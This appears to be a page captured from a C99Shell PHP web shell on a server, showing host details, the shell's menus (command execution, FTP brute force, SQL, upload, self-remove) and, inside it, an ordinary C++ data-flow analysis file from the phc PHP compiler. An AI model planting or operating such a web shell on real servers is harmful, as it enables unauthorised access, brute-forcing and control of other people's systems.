!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/pba/phc-read-only/src/optimize/   drwxrwxr-x
Free 83.21 GB of 96.73 GB (86.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Flow_visitor.cpp (1.73 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * phc -- the open source PHP compiler
 * See doc/license/README.license for licensing information
 *
 * Base class for data-flow analyses.
 */

#include "Flow_visitor.h"

Flow_visitor::Flow_visitor (Flow_visitor_direction direction)
: direction (direction)
{
}

void
Flow_visitor::run (CFG* cfg)
{
    foreach (Basic_block* bb, *cfg->get_all_bbs ())
    {
        this->init_block (bb);
        visit_block (bb);
    }

    // Add the each block to the worklist
    BB_list* worklist = get_initial_worklist (cfg);

    // iterate until the worklist is no more
    while (not worklist->empty ())
    {
        // Process the front block
        Basic_block* bb = worklist->front ();
        worklist->pop_front ();

        visit_transfer_functions (bb, cfg);

        if (this->solution_has_changed (bb))
        {
            foreach (Basic_block* next, *get_next_cfg_nodes (bb, cfg))
                worklist->push_back (next);
        }
    }

    // After the pure analysis section, apply the results (once).
    foreach (Basic_block* bb, *cfg->get_all_bbs ())
        transform_block (bb);

    // Call the pass' own post-processing.
    post_pass (cfg);
}

BB_list*
Flow_visitor::get_next_cfg_nodes (Basic_block* bb, CFG* cfg)
{
    if (direction == FORWARD_FLOW)
        return bb->get_successors ();
    else
        return bb->get_predecessors ();
}

void
Flow_visitor::visit_transfer_functions (Basic_block* bb, CFG* cfg)
{
    if (direction == FORWARD_FLOW)
    {
        this->transfer_in (bb, bb->get_predecessors ());
        this->transfer_out (bb, bb->get_successors ());
    }
    else
    {
        this->transfer_out (bb, bb->get_successors ());
        this->transfer_in (bb, bb->get_predecessors ());
    }
}

BB_list*
Flow_visitor::get_initial_worklist (CFG* cfg)
{
    if (direction == FORWARD_FLOW)
        return cfg->get_all_bbs_top_down ();
    else
        return cfg->get_all_bbs_bottom_up ();
}

void
Flow_visitor::post_pass (CFG* cfg)
{
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0043 ]--